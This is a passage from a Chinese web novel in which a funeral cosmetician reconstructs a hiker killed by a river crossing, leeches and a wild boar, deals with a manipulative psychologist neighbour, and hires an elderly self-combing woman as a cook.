果然,视频中,男人走到河流中央后就开始进退维谷,还不断地往河底沉。看镜头,显然呛了不少水,直到最后整个人都脱力没入水下,看着都让人揪心。
“我听救援队说,他们这种过河方法是铁定要出意外的。”小施伸出手指在屏幕上点了点,“你们看这条绳索,是垂直于水流方向的对不对?这样当人走到中央水流最急的地方,就会因为巨大的冲击力,将绳子拉扯成V型。这个人家还有个专业名词,叫死亡V。”
陈安夏咂舌:“光听这名字就很凶险啊!”
小施点点头:“是的。人走到这位置,百分百会因为冲击既无法前进,也无法后退,还会感觉到巨大的吸力,被不断地拉往水底。更何况你们看,他们还正好在水位落差分界线这儿扯的绳子,冲击力就更大。这种情况下,绳子是不可能再被拉直的。好在同伴反应及时,在他失去意识前切断了绳子,他才没直接淹死,顺着水流漂了下去,也算得到了一线生机。”
72. 人类也可以成为大自然的馈赠^^……
白绯皱眉,看着视频里发生的惊险一幕。
绳索被切断后,男人磕磕撞撞地在水中漂流。好在他脑袋上还带着头盔,身上也穿着救生衣,才没直接在漂流过程中被石头磕个头破血流,或者被当场分尸。
“我听救援队那个大哥说,正确的做法应该是顺着水流的方向,和岸呈45°夹角拉绳,这样就可以借着水流的力量到达对岸了。像他们这种过法,就算是坐着无动力救生船过去,也照样会进水翻船,而且搞不好还会因为沉船时的吸力,反被吸入水底无法自救。”
白绯三人都屏住了呼吸,为屏幕里的男人捏了把冷汗。好在后来,他终于扒住了岸边的一块石头,手脚并用地爬上了岸。
陈安夏松了口气,然而送到半截有意识到,这哥们最后还是挂了。于是这口气不上不下卡在中间,差点给她噎个半死。
白绯也同情地看了眼冰柜里的遗体,皱眉问道:“那他后来又是怎么出事的,最后搞到最后还差点连个全尸都没保住?还有,他身上好像有很多出血点,难道也被马蜂蛰了?”
白绯早在清洗遗体的时候就发现了,这倒霉蛋浑身都是细小的伤口。此外,混杂在冲天的尸臭中的,还有股刺鼻的风油精的味道。这又是怎么回事呢?
小施像是想到了什么,做了个龇牙咧嘴的恶寒表情,示意他们继续看。
视频里,男人先是在地上躺着休息了一会儿,接着就开始换衣服。白绯和陈安夏立刻抬头望天,非礼勿视。
也就是在这时候,男人突然发出了一声粗噶的惨叫,活像只鸭子似的。然而毫无疑问的是,惨叫声中蕴藏着巨大的恐惧和绝望。
“怎么了怎么了?”白绯被唬了一跳,低头看去,然后看到了让她这辈子都难以忘记的一幕。
只见男人光裸的身体上,密密麻麻都是细小的蚂蝗。而随着这一声惨叫,就像摁下了什么开关一样,从头顶的树林中突然扑簌簌掉下来大量不明物体。
白绯起初以为是下雨了,然而等那东西掉在男人身上后,就开始呈几字型弹动身体。直到这时她才发现,那竟然也是蚂蝗。
陈安夏捂着胸口开始倒气,看起来快窒息了:“我不行了,这是什么地狱场景!”
显然男人身处其中,更是绝望。他开始嚎叫着逃窜,而顺着摇晃的镜头,白绯看到他身边的枯叶、灌木,甚至脚边的石块上都爬满了这些可怕的生物。
它们通过热感应和二氧化碳感知到了生命体的存在,以身体的一个尖端为支撑,呈90度站立,起跳,然后迅速攀附上鲜活的□□。
白绯眼睁睁看着一条蚂蝗从地上窜起,然后竟然直接跳到了男人的腰部。
陈安夏已经翻着白眼开始给自己按人中了:“我不行了,这是什么异形,它竟然还会跳!”
“这东西叫山蚂蝗,又叫做山蛭。在南方潮湿山区很常见,吸血为生。这玩意儿可阴险了,它咬人时会分泌麻醉剂和抗凝素,让人没有痛感并且伤口持续流血,好让它放心吃大餐。我听大哥说,以前他们队里有个女队员,脖子上的围巾松了没发现,等感觉到痛了,衣服一脱,那前胸后背密密麻麻的全是吸饱血的蚂蝗~所以后来他们去这种山里救援,不止会穿长袖长裤,还会把领口啊、袖子啊、裤腿都扎紧,但凡有一个地方没防住,就会被蚂蝗趁虚而入。”
白绯有些明白风油精的用处了:“所以风油精是用来去除这些蚂蝗的?”
“对。”小施点了点头,露出惨不忍睹的表情,“后来找到他的时候,所有遗体碎片上都是这些虫子。救援队都不敢下手,怕被叮上,就洒了风油精先把虫子驱走,才趁机把遗体抬下了山。”
“这也不对啊。”白绯又低头去看视频:“这东西虽然恶心了些,但应该也不至于造成这么惨的死状啊?”
果然,男人逃到开阔空旷地带,就开始掏出打火机灼烧身上的虫子。虽然身上流血不止,但起码虫子也都被烧死了,一个个地掉了下来。按理说,只要他回到医院做后续处理就行。
小施叹了口气,道出了男人真正的死因:“他遇上了野猪。”
白绯、陈安夏:...
猪这种生物,顶着一副人畜无害的外表,肉还那么好吃,很容易让人忘记,这是一种大型杂食动物。很多在农村里长大的孩子应该都曾听过这种故事:大人出门种地,回来后却在猪圈发现了孩子仅剩的一条小腿。
野猪相比家养猪,攻击力只增不减。并且由于华南虎豹群等天敌的消失,以及禁猎政策和退耕还林政策,还导致它们的群体规模疯狂扩张。因此,近几年,大家也都听过不少相关的人兽冲突报道。
一头成年野猪体重可以达到300斤,冲刺速度堪比一辆小汽车,能在10秒内咬穿一个成年男性的颅骨,獠牙甚至可以刺穿5毫米的钢板。挑刺、践踏、撕咬一套连招下来,手无缚鸡之力的人类除非手握真理,否则还真的很难与之抗衡。
除了野猪,还有一种生物也因为其可爱的外表而让很多久居城市的人类忘记了它的危险性,那就是熊。
相较于它憨态可掬的外表,熊的智商可不低,尤其是公认的最聪明的藏马熊。
在它们的栖息地,甚至还有一种传言:在太阳快下山的时候,会有人面熊出没。它们的胸口长着白色的毛,体型比一般的熊小,会把牛粪带在头上,然后边往山下招手边吹口哨。若是有人错把它当成人上山,就会被熊剥掉脸皮然后吃掉。
唯一的逃生之法,就是往山下跑,因为这种熊眉毛上长着很浓密的毛,人往山下跑时,熊会因为眉毛的遮挡视线受限,给人争取到逃跑的时间。
熊是否会在脑袋上放牛粪这件事我们暂不可知,但它们确实会在夜晚侵入人类的居住区,甚至还会扒门敲门。所以当地很多居民会在门窗上装上密密麻麻的尖刺,也会尽量避免在夜晚出门。
另外,这种熊在攻击人之前还会伪装。它会假装路过,左顾右盼,然后在无知路人大呼可爱的时候,突然变脸冲上来让人品尝熊掌的滋味。
关于逃生方法,首先可以确定的是装死是没用的。无论是嗅觉比警犬灵敏数倍的野猪,还是本就食腐的熊,装死都无异于躺平认宰。
也许爬上树可以争取一点时间,但野猪有可能会啃断树干,而熊爬树比人还快。
转身尖叫逃跑也是下下策,这样做据说反而会触发它们的追逐本能。但
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也有一个地狱笑话,不用你跑得比熊快,只要你比跑得比你的同伴快就行了。
总而言之,这个倒霉蛋在遇到野猪后,就很快一命呜呼了。他的尸体被猪拱得四分五裂,并且还有无数的山蚂蝗赶来分享这份大自然的馈赠,直到救援队赶来。
白绯把手机还给小施,替这位老兄吐槽道:“徒步博主很好,但是下辈子还是别做了吧。”
野外徒步,除了容易遇到危险的野生动物,还有可能在一天内、甚至短短一小时内体验四季,稍有不慎就会发生各种危险:失足、失温、高温、迷路、缺水...人类在钢筋水泥森林里待了太久,已经忘记了大自然的无情,失去了敬畏之心。
总而言之,这个年轻的男人就因为一场徒步丢了自己的性命。而白绯现在要做的,就是把他四分五裂的身体再拼起来。
3D打印机果然是个好东西,比白绯以前徒手搓要快得多也精准得多。白绯满意地看着机器工作,和祝临川感叹:“有了这东西,以后咱们手上这门本事怕是要失传喽~”
在打印完毕缺失的部位后,白绯着手把它们和男人的残肢再重新缝合在了一起。最后再化上妆,好歹算还了这个倒霉蛋一个体面的身体,能给伤心欲绝的家属一个安慰了。
祝临川替她揉捏酸痛的肩膀,按着按着,两人就滚到了一起。
自从白绯公开了他们之间的关系后,祝临川就光明正大地搬进了白绯的房间,一闲下来就总是做些没羞没臊的事。
这天,白绯正在给小兰和祝家父母扫墓,远远地就看到小黑跑了过来。原来是夏灵运又上门来了,他提着大包小包,冲白绯热情地挥了挥手。
“白小姐,我又来了。小晴老家的樱桃成熟了,让我带些来给你们尝尝。”他把左手边满满一袋子塞给白绯,然后又回头朝对面看了看,“咦,今天叙医生不在家?”
白绯从袋子里拈出一粒樱桃塞进嘴里,又脆又甜,还带着恰到好处的酸。
“唔,好吃。”白绯又从袋子里抓了一把,好奇道:“不知道啊,你找他有事?”
夏灵运不好意思地抓了抓后脑勺,和白绯说起了前几天的事。
原来,就在白绯和祝临川她们坐游轮旅行那几天,夏灵运又带了些果园现摘的西瓜过来,结果发现白绯人没在,他就留下西瓜走了。正好走到小院门口,手机突然响了。
夏灵运就索性站在门口打电话。夏天的天气,上一秒还晒得人都快成干了,下一秒就突然阴云密布,甚至还刮起了大风。
夏灵运正和电话那头的刘晴说话:“哎哟,这闪电,是哪个道友在渡劫吗?”
正说着话呢,他突然感觉身上发麻,紧跟着脑袋上的头发都一根根竖了起来。
夏灵运满脑袋问号,还跟刘晴吐槽:”不知道怎么回事,我头发都立起来了,跟个刺猬似的,难道是衣服上的静电?可现在也不是冬天啊?”
就在他百思不得其解时,小路上远远开来一辆路虎。车子在夏灵运身边停下,车门打开后,一截修长的小臂伸出,一把揪住夏灵运后背的衣服,把人猛地拽进了车内。
在车门关上前,一只手机被扔了出来,远远掉在了地上。
73. 法拉第笼
那一瞬间,夏灵运的脑海里转过了无数个念头。
割肾卖器官?黑煤窑打工?境外搞电诈...一个比一个可怕的可能性在他脑海里涌现。他吓得疯狂挥舞着手臂,想要把眼前的人推开,唯一的念头就是要跑,小晴和孩子还在家里等着他…
然而身后的人却并没有攻击他,只是淡淡道:“你要被雷劈了。”
夏灵运没能打开上锁的车门,反而被一个漂亮的擒拿手又摁回了座位上。
他简直出离愤怒了,抓人就算了,怎么还骂人呢?
“你才要被雷劈呢!我警告你立刻松手,不然我可就不客气了!”
夏灵运虚张声势地威胁道,结果却发现根本无法挣脱。好在,对面的男人很快就松开了手。
“我是说真的。”男人长了一副让人很容易心生好感的样貌,盯着夏灵运的双眸有股沉稳的力量:“你的头发都立起来了,这可是即将被雷劈的信号。”
夏灵运没想到原来是自己被老天爷选中渡劫,吓得嘴唇都苍白了,不知所措地问道:“那那那那该怎么办?”
男人,也就是叙白拍了拍他的肩膀,笑道:“躲在封闭的车内就是避雷的好办法,封闭的金属汽车是一个安全的法拉第笼。接下来我会先把车开回别墅,你在我家休息会儿,等雷雨结束再出去捡手机吧。”
后来,夏灵运借了叙白的手机和刘晴报了平安,又老老实实在叙白家坐了一个小时,直到最后一声雷声结束后半小时,才哆哆嗦嗦地出门捡回了手机。好在手机正好被扔在了白绯家院门口的廊檐下,竟然幸运地没有进水。
白绯没想到竟然还发生了这么件事,也很意外。尤其是叙白,她真没想到他竟然会出手救人。
夏灵运提起右手的袋子给白绯看:“所以这次我也带了些樱桃过来给叙医生。不过刚才敲了好一会儿门,一直没人应。白小姐,能麻烦你等叙医生回来后帮我把这个转交给他吗?小晴一个人在家带孩子,我不太放心。”
“行。”夏灵运都这么说了,白绯便也就答应了。正好她最近有段时间没听到叙白的消息,也不知他最近怎么样了。
于是傍晚,等叙白的路虎开回小院,就看到白绯双手抱胸,正倚靠在他家门口挑眉看着他。
“哟,稀客。”叙白关上车门,信步走到白绯身边站定,俯身和她对视:“进来坐坐吗?”
白绯的身体往后仰了仰,拉开二人之间的距离。自从上次和周端聊过后,她对叙白的感官就有些变了。
她的视线不由自主地向叙白背后飘去,语气不似从前那般生硬:“夏灵运送来的谢礼,你没在,托我给你拿过来。行了,东西送到了,我走了。”
她有心想和叙白聊聊,但上次进屋子后受到的冲击太大,让她至今还心有余悸。由于上次陆寻偷拍的事被发现,白绯便放弃了打探,匿名给心理师监督委员会递了个举报信,举报叙白诱导病人自杀。若是叙白是无辜的,那么监督委员会查明真相后,自然会还他一个清白。所以白绯也不打算再在这些事上多掺和了。
然而她正要离开,叙白却突然闷哼一声,捂着胸口,面色痛苦地靠着门板倒了下去。
“你怎么了?!”白绯吓了一跳,赶紧扶住叙白的肩膀,把人搀扶进了屋子。
“没事,只是有些低血糖。”叙白被搀扶到沙发上坐下,脸上毫无血色,额头上都是冷汗。
白绯眼看着他从裤子口袋里掏出一个棕色小药瓶,从里面倒出一把药吞下。
她皱着眉,去水吧接了一杯水,看叙白仰头慢慢把杯子里的水喝完。
“你真的没事?需要我送你去医院吗?”
白绯仔细打量叙白,这才发现一阵子不见,叙白的身板竟然消瘦了不少,并且人也看着有点病恹恹的。
叙白的脸色缓和过来,又恢复了那副贱嗖嗖的模样:“我可以理解成,你这是在关心我吗?”
白绯冲天翻了个白眼,放下水杯甩手就要离开:“还能贫嘴,看来是没事了,那我走了。”
叙白吃吃地笑了一声,开口一句话就留下了白绯这个生性多疑的女人:“我发现刚才,你一直在往我的后背看。是我的后背有什么奇怪的东西吗?”
还能有什么,不就是疤嘛!
白绯噎了噎,有些心虚,色厉内荏道:“谁看了,我..."
“想看吗?”叙白却不按常理出牌,骨节分明的手指不疾不徐地搭上了衬衫最顶端的贝母纽扣,在白绯快要瞪脱眶的注视下,慢条斯理地解开了第一颗扣子,露出了下方一小片紧实的、被阴影覆盖的肌肤,“想看就直说啊~”
我不是,我没有。
然而白绯的视线却依然控制不住地往他衣衫掩盖下的阴影处飘,虽然理智告诉她应该移开视线。
确认了叙白后背的伤又能怎样,除了满足自己廉价又无用的怜悯外毫无价值,又何必平白让人袒露伤口?
然而人类天生又是爱吃瓜的猹,白绯八卦的本能与道德尚在打得难舍难分,叙白的手已经利落地滑过一排纽扣,熟练得让她怀疑这人是不是下班后还兼职在夜店跳脱衣舞。
白绯被他这利落的脱衣骇得深吸了一口气,瞳孔猛地聚焦,然后与一件纯棉白色短袖汗衫面面相觑。
叙白的衬衫里竟然还穿了一件老头汗衫。这件领口都洗得有些松垮的老头汗衫让白绯这一口气卡在半路,差点被自己的口水呛死。
怎么说呢,就好像一个风情万种的大美女脱下黑色高定礼裙后露出了加绒秋衣秋裤和纯棉高腰内裤,还不是一套的。毕竟叙白这人有前科,白绯甚至相信他衬衫下会是红绳绑的龟甲缚,都没想过竟然会是一件皱皱巴巴的老头汗衫。
大概是白绯的表情太过空白,叙白竟然撑着下巴笑起来。起初这笑意还只在唇边,之后就像漾开的涟漪,溢满了那双看谁都情深似海的桃花眼。
“哈哈哈...”他甚至笑出了眼泪,这一下不再是平常那个诡异的心理医生,反倒像个恶作剧得逞的普通小孩了。
白绯的脸很臭,企图用视线杀死叙白。然而叙白看着她脸上的红晕,竟笑得更开心了。
“好了好了,别生气,我不逗你了。”眼见着人恼羞成怒甩手要走,叙白才勉强止住笑意,伸手来牵白绯的衣角,“有个事想请你帮个忙,成吗?”
白绯不是很想帮,头也不回地就要拒绝:“不好意思我很忙,你另寻高明吧...”
然而话还没说完,叙白就又撕心裂肺地咳嗽起来。他倚着墙捂着胸口喘得上气不接下气,然而另一只手却还牢牢抓着白绯的衣角,手上青筋暴起。
“你到底怎么了这是,可别讳疾忌医,该去医院就去医院看看啊!”白绯无奈地翻了个白眼,到底还是心软,反手扶住了叙白的胳膊,把人又扶了回去。
在叙白坐下时,他松开了捂着胸口的手。也就在这时,白绯瞳孔震颤,因为她在那件老旧松垮的老头汗衫上看到了道道交错的血渍,正在逐渐显现。
怎么回事,他怎么伤得这么重?!
叙白注意到白绯的视线,
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把衬衫往里拢了拢,嘴边的笑容苦涩:“你能假扮一天我的女朋友吗?我知道...”
他抬手打断了白绯未竟的话,微微低着头,视线落在二人之间那点狭窄的地面上,额前的头发散落遮住了一部分眼神,只露出紧抿的唇线:“我知道你有男朋友,周端都和我说了。想来,他也和你说了些别的。我父母,他们...只看得到他们该看到的儿子,该有的家庭和睦。我这个年纪,却一直没有带回他们满意的对象,这在他们看来,是件失败的事,所以...”
他嘴角扯起一个苦涩的笑容,抬手抚了抚胸口的伤处,看了眼白绯,又自嘲道:“罢了,本也不该牵连你,你就当没听过吧。”
白绯曾经听到过一个词,叫亲密依恋回避。有些人渴望亲密关系,但又同时对深度亲密感到强烈不适与抗拒,从而主动回避。这类人永远在追求爱的路上,但当对方开始回应时,他们却反而会果断抽身离开。
白绯觉得自己也有点毛病,若是叙白强硬些,她还能冷脸拒绝,严守该有的边界感,然而当叙白放弃,她反而又犯了骑士病,看不下去他跟个小白菜似的受罪了。
“找人假扮女友也不是解决的办法。”她冷静地看着叙白,道:“你现在已经不是从前那个弱小的孩子了,你是个有独立能力的成年人。这件事不应该到现在依然能困住你的人生,我们可以从根源去解决。报警,找警察出具告诫书,向法院申请人身保护令,若是他们的行为过火,甚至可以追究刑事责任。你考虑过这么做吗?”
这算是把一切都摊到表面来谈了。
白绯一开始以为,叙白父母的家暴行为随着他的成年应当已经终止,所以可能只是给他造成了挥之不去的阴影,并且让他在成年后有了些奇异的癖好。但他没想到,他们的家暴竟然还在持续,看现在的情况,仅仅是因为催婚,就能将叙白打成这副模样。
叙白此刻看起来脆弱得像是林黛玉,嘴唇抿得很紧。他思索了很久,最后才轻轻叹息了一声:“我知道,但我需要时间...他们长年在国外,只要明天糊弄过去,我就能得到至少一年的时间。”
这是准备缓兵之计了。但无论如何,叙白愿意自救,那白绯便也愿意帮他一把。
有太多遭受家暴的人,外人来帮忙时,他们还只会觉得是别人多管闲事。亦或者永远只能依靠他人帮助,自己却无法下定决心反抗。
没有自救的决心,外人再着急也不过是徒劳无功。
“行吧。”白绯思忖了片刻,最后严肃地点了点头,“所以明天是要和你父母见面吗?”
“嗯。和他们见面吃顿饭,把人糊弄走了就行。”
白绯不爽地啧了一声,脚尖不耐烦地在地上点踩。直到叙白又低低咳嗽了一声,她才又别扭地关心道:“你的伤口要抹点药吗?”
叙白从边几抽屉里拿出一管已经干瘪的药膏,递给白绯:“药用完了。”
白绯接过药膏看了看,没再多说什么,只道了句:“等着。”
门被关上,偌大的房间里只留下叙白一人。他宛若一只被抛弃的大狗狗般蜷缩在沙发上,散发着脆弱无助的气息。
然而几分钟后,叙白原本佝偻的脊背便突然无声挺起,他利落地站起身走到窗边,看到了小路上白绯的小车正在驶离。
“没想到这些伤倒是派上了用场...”低低的叹息声就从叙白嘴边溢出。
他也不开灯,也没有其他动作,挺拔的背影就这么沉默地立在黑暗中,直到远处再度传来两道刺目的光束。
74. 自梳
僵硬的身影终于再度开始动作。
叙白低头看了眼自己的胸口,老头汗衫上的血渍更深了。他毫不在乎地用衣服胡乱抹了一把,把血渍擦得更加触目惊心。然而他本人却连眉毛都没有动一下,就好像他这个人没有痛觉似的。
他迈开脚步走到明亮处,随着动作,脆弱与忧愁重又将他笼罩。
于是等白绯打开车门,看到的便是叙白病歪歪地斜倚着门框,在月色下仿佛一株摇摇欲坠的芦苇。
“你回来了。”
白绯倚在车门边,冲他扬了扬手里印着大药房名称的纸袋,问道:“药买来了,你自己方便上吗?”
叙白虚握着拳头低低咳了一声,缓缓摇了摇头:“有些伤在背上...”
这是不方便的意思了。
“行。”白绯干错利落地点了点头,下颚冲屋里点了点,“去里面等着。”
叙白低低应了一声,迟缓地转身,背对着大门坐在了椅子上。他慢慢脱掉衬衫,撩起汗衫,露出肌肉线条流畅、却布满交错鞭痕的宽阔脊背。
他低头沉默地看着前方,眼神放空。他没有等多久,很快,一点微凉又带着药草清冽气息的触感落在他肩胛骨处那道最深的伤口边缘,恰到好处的力道渗透进紧绷酸痛的肌理深处,折磨了他多日的火烧火燎的疼痛在这无声的触摸下一点点溃散。
叙白的身体不由自主地放松下来。
“谢谢你。”他的手控制不住地在膝头攥紧。随着伤痛被逐渐安抚,一种深入骨髓的痒却慢慢浮现,让叙白很想要紧紧抱住些什么,撕碎些什么。
然而他的语气却温和又诚恳,像流水清风般让人很容易生起好感。
“谢谢你愿意帮我的忙,也谢谢你的药。从前...是我太孟浪了,你可以原谅我吗?”他声音低沉,仿佛在真切地忏悔,然而眼神里却满是志在必得。从小他就知道,在适当的时候低头示弱,更能换来他想要的东西。
然而他等到的却只有沉默,空气里除了药膏被均匀涂抹开时发出的细微粘腻声响外,只有死一般的寂静。
叙白的桃花眼危险地眯起,然而说出口的话却带着让人心碎的脆弱:“你不说话,是不能原谅我吗?果然,人总要为自己的行为付出代价...是我活该,沦落到今天这样的结局...”
背后的手停下了动作,似乎也在犹豫。
就是现在!
“我不敢奢求太多,只是希望能偶尔看到你,让我能感受到一点勇气和温暖,感觉自己没有被这个世界抛弃...”
叙白边说边果断反手向后探去,急切地抓住了这只替他抚平伤痛的手,然而到手的触感却让他脸色大变——那手背的皮肤粗糙、纹理深刻,甚至还布满了硬茧!
叙白猛地扭头,然后与一张饱经风霜的老脸四目相对。
头发花白的老奶右手食指上还沾着微黄的药膏,咧开嘴露出嘴里仅剩的三颗牙,笑容憨厚。
时间仿佛被冻结,叙白的思维陷入一片死寂的空白。他的瞳孔里映着老奶那张皱纹深刻的脸,脑海中猛地蹦出一个荒谬绝伦的念头——难道...是白绯在某种离奇的力量下,瞬间穿越了数十年的时光,变成了眼前的老太太?
“白...绯?”叙白用一种近乎梦呓般的腔调缓缓叫出了这个名字。
老奶在叙白的注视下缓缓点了点头。
那一瞬间,叙白感觉自己仿佛变成了差点被雷劈中的夏灵运,张着嘴呆坐在原地,再也顾不上那些风花雪月。
直到一个清亮、熟悉又带着一丝疑惑的声音清晰地从入户大门传来。
“嗯?你叫我?”白绯两手各提着一个鼓鼓囊囊的超大号购物袋,正气喘吁吁地往里搬。“呀,王阿婆,你怎么在给叙白上药了啊?”
王阿婆转头又对着白绯咧开仅剩三颗牙的嘴,笑容更加灿烂:“俺一进屋就看见这后生仔身上都是伤,那血都还在呼呼地流,实在看不下去嘞!”
叙白赤裸着伤痕累累的上半身,一只手还滑稽地抓着王阿婆的手,脸上精心维持的虚弱面具终于碎裂剥落,只剩下怀疑人生的茫然。他张了张嘴,语气中甚至还带着丝哭腔:“那我刚才叫白绯,您答应什么啊?”
王阿婆无辜道:“你不是问俺是不是白绯带来的吗?”
白绯擦了把脸上的汗,点点头道:“对,我在人力市场碰见王阿婆,她正好在找活干,就招了她来小楼帮忙做做饭什么的。”
她把菜挪进厨房,对王阿婆道:“阿婆,你看着顺便给叙白也做点清淡有营养的,他要养伤,得补补。”说完,她惊讶地看着叙白的手,问道:“你抓着阿婆的手做什么?”
说完,她似乎想到了什么,嘴角抽搐地把阿婆从他手里救走,警告道:“原来你还恋老...我警告你啊,阿婆是我的人,你可不许乱来。”
之后又搂着王阿婆开始大声说悄悄话:“阿婆,一会儿做完饭你就跟我回小楼哈~”
叙白本该有很多问题。例如为什么白绯明明是去买药,后来又去了人力市场?例如为什么白绯去人力市场,不招点青壮年劳力,却招了个头发花白的老太太。
但他现在却只觉得无比心累,闭上眼后就趴在沙发上开始装死。
不远处,锅碗瓢盆的声响中,王阿婆还在和白绯说话。
“俺看那后生胸前也有伤,要不要俺再给他上点药?”
“让他自己上,非礼勿视,阿婆,女孩子,一定要保护好自己,可别让那狂徒占了你的便宜!”
“说啥呢你这傻闺女,人家都能当俺孙子了...”
叙白在这样的对话中,心中的尴尬逐渐褪去,竟变成了久违的平静。那些愤怒、悲伤、暴虐都慢慢消失,他竟然不知不觉睡了过去。
等白绯和王阿婆做完饭,就发现叙白已经陷入熟睡。他的面容带着罕见的平静,因此终于让白绯意识到,叙白长得是真不错。
她把叙白从手机黑名单里放出来,给他发了条信息,让他醒来后把粥喝了,自己明天中午再过去找他。之后,就拉着王阿婆回了小楼。
小楼门口,祝临川双手插兜,静静立在昏黄的光圈里。那光就犹如舞台上的聚光灯,衬得祝临川本就挺拔的身材更是如刀削斧凿般勾人。
有道是月下看君子,灯下看美人。祝临川的侧脸线条在光影下流淌出一种罕见的破碎,睫毛垂落的阴影带着几分恰到好处的忧郁,再配上空气中若有似无的白茶花香气,勾得白绯色心大起,要不是边上还有王阿婆笑呵呵地看着她,只怕已经粘上去抱着人啃了。
“临川,你回来啦~”
白绯敞开双臂,荡漾着屁颠颠迎了上去,正准备给人来个爱的
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抱抱。然而灯下的美人转过脸来,那双从来含情脉脉的灰色眼眸里却盈满了哀怨,把白绯唬得直接僵在了原地。
“你去哪儿了?我等了你好久...”
祝临川微微蹙着眉,视线越过她的肩膀朝叙白的别墅扫了一眼,然后带着谴责回到了她的脸上。
白绯仿佛在他脸上读到了两个大字:渣、女。
她心里咯噔一下,心虚地吞了口口水:“你听我狡辩...呸,不是,你听我解释。”
而祝临川只回了简单两个字:“你说。”
但看他脸上的表情,白绯却分明觉得他说的是:请开始你的表演。
白绯:...
你看这闹的,明知道祝临川和叙白不对付,还被人家抓个现行。尤其是她想到,明天还答应了叙白假扮女友见他父母...就凭祝临川这个醋罐子,要是让他知道了这事,明天她怕是连门都别想出了。
白绯左右为难,张了张嘴却只发出了点意义不明的气音。然而祝临川却没有选择继续为难他,只是最后幽怨地看了她一眼,就把视线移到了王阿婆身上。
“这位阿婆是...”
祝临川有心放过,白绯便赶紧顺着台阶下了。
“这是王阿婆。白天我去人力市场,正好遇见她在找活干,我就聘了她过来小楼做做后勤。一楼还有间闲置的房间,阿婆在A市没有住的地方,正好给她住。”
祝临川的眼神在奶奶身上那身朴素的衬衫和绵绸裤子上一扫而过,声音带着丝怜惜:“奶奶,包裹给我,我帮您拿。”
他接过王阿婆手里小小的布包,轻飘飘的几乎没什么分量,想来这就是她的全部家当了。
祝临川的声音放得更轻了:“奶奶,以后有什么需要帮忙的只管开口,白绯是个很好说话的人,楼里也都是些年轻人,你就拿我们当自己的孩子看就行了。”
白绯也在一边帮腔。今天她去人力市场,其实是为了见叙白家长另作的准备。叙白的父母想必不好对付,若是文的不行,白绯就准备出动PLANB。所以一开始,她是准备挑个满脸横肉的壮汉的,没成想,却和笑呵呵挤在人群最后的王阿婆看了个对眼。
那一瞬间,白绯脑海里瞬间脑补了一出人间惨剧。风华正茂的少女被困在一间小小的草房,在一方贫瘠的田地上用血汗养大了儿子,又养大了孙子。茂密的黑发变成了稀疏的白发,光滑的肌肤上沟壑纵横,临了,却被赶出了操劳的一生的家,唯一的家当只有腕间那一方小小的布包。
于是等白绯反应过来时,她已经推开了围着自己的众多壮劳力,牵住了奶奶的手。边上原本还有人想要争取,但听到是给殡葬公司看门做饭,就立刻作鸟兽散了。
王阿婆倒是并不嫌弃,笑呵呵地应了。还问白绯有没有员工宿舍,工资可以少发点。白绯心下更加怜惜,果断应了。
二人牵着王阿婆往小楼里走,楼里,小施和陈安夏正准备离开。白绯便干脆留住了他们一起吃个饭,也算是给王阿婆办的迎新会。
五人开车去附近的商业街,车里,陈安夏挽着王奶奶的胳膊,语气很是谴责:“奶奶,您家里人也太不像话了,一把年纪,怎么还让您出来受这些苦!”
没想到王阿婆却笑眯眯地摆摆手:“闺女,错喽,俺可不是那苦命人,俺啊,是自梳女!”
75. 质疑老奶,成为老奶
“自梳女?”这可把白绯惊到了。
然而待她再细看,果然发现王阿婆身上确实没有被生活磋磨的苦相,反而充满了活力和生命力,甚至比一些20出头的牛马还像个活人。
王阿婆爽利地笑了一声:“对喽!俺不乐意嫁人,也不想伺候公婆,更不想生一堆娃儿栓死自个儿,所以啊,俺就对着镜子~”
她潇洒地比了个盘发的姿势,对目瞪口呆的众人道:“就对着镜子把头发梳上去喽!这个啊,就叫自梳头,一辈子不嫁人!”
“啊?”陈安夏彻底懵了,她下意识地将这位年迈的老太太当成了弱势群体,却没想到在这具衰老的躯体中看到了如此耀眼的光芒。
她知道随着时代的发展,现在很多的女性选择去父留子,甚至不婚丁克,却没想到这将近一个世界前的前辈竟然就有如此前卫的思想。
然而王阿婆比她想得要更潮。
“嘿嘿,俺这大半辈子啊,哪儿都去。看过大海,爬过雪山,骑过骆驼!边走边找活干,攒够了路费就接着走!俺还出过国呢!”
正在开车的祝临川差点破防。这么多年他疲于奔命,莫说到处旅行,更是连国都没出过。他没想到自己有一天竟然输给了一个老太太。
“哇,奶奶,你也太厉害了吧?”白绯真心替她高兴,在那个女性尚未觉醒的年代,有一位前辈打破了“婚姻即归宿”的封建逻辑,拒绝被压迫的命运,品尝到了自由的滋味,还有比这更让人欣慰的事吗?
白绯甚至觉得可以短暂地原谅这个糟心的世界三秒。
“您都去过哪儿?”
“是啊,奶奶,您快和我们说说。”
王阿婆被一圈小年轻眨巴着亮闪闪的大眼睛包围,挺了挺背,语带得意:“英国、法国,还有那个会拉方形粑粑的袋熊的岛,俺都去过。要我说啊,也不过如此,好多地方又脏又乱,还是咱们这儿敞亮大方,吃的也好,俺是真吃不来那白人饭。不过,嘿嘿,那外国的男人倒还不错,俺年轻的时候还谈过几个俄罗斯和意大利的帅哥呢!”
陈安夏没想到王阿婆年轻时吃那么好,惊呆了,问道:“奶奶,你还会俄语和意大利语呢?”
王阿婆大手一挥,声音里带着一种闯荡江湖的豪气:“才不会那劳什子的鸟语呢!不过俺倒是会几句常用的英语,日常用用那是够够的了。哦对了,俺还会几句骂人的嘞——酸萝卜别吃!酸萝卜别吃!”
白绯张大了嘴给王阿婆比了个大拇指。
王阿婆嘿嘿一笑,继续道:“再说了,那些男人可留不住俺这雄鹰般的女人,呆腻了,俺就离开了。走来走去,最后还是回来了。俺和其他那些自梳的老姐妹不一样,虽然同样立誓终身不嫁,但俺从来不避讳谈恋爱。也正是因为观念上的不同,所以俺没法和她们一起住在姑婆屋。”
从见到王阿婆起,这是白绯第一次在她脸上见到失落的表情。想来,没能被同样身为最早一代的女性主义者的同伴接纳,是王阿婆久久无法释怀的遗憾吧。
“俺们自梳女,曾在观音像前立誓,一梳福,二梳寿,六梳金兰姐妹相爱...从此彼此照顾,互伴终老。但是姑婆屋也有姑婆屋的规矩,不能与男子恋爱,违者处死;也不能死在娘家,尸体不能由父母收敛...这不是俺立誓的初衷,俺不想临了快咽气了,还要付钱买门口...宁可一把骨灰扬河里,也不要这些求来的香火。”
白绯听说过关于自梳女的采访。晚年,为了死后有人祭祀,有些人会捐资寺庙以换取供奉灵位,由尼姑管理身后事;有些人则互相抱团取暖,例如当年的冰玉堂;而有些人则会选择与夭折男性冥婚,付钱给婆家换取名义媳妇的身份,也就是王阿婆所说的买门口。
